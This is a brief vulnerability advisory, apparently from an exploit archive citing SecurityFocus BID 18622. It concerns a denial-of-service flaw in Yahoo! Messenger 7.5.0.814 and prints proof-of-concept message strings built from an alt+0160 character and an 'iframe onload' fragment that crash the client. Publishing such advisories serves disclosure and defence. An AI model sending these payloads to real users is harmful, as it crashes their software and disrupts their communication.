source: https://www.securityfocus.com/bid/18622/info Yahoo! Messenger is prone to a denial-of-service vulnerability. Successful exploitation will cause the application to crash, effectively denying service. This issue affects version 7.5.0.814; other versions may also be vulnerable. The following examples are sufficient to trigger this issue: s:[space]msg[alt+0160]:---------------------------------------------iframe onload=$InlineAction()>:) msg:---------------------------------------------iframe onload=$InlineAction()>:)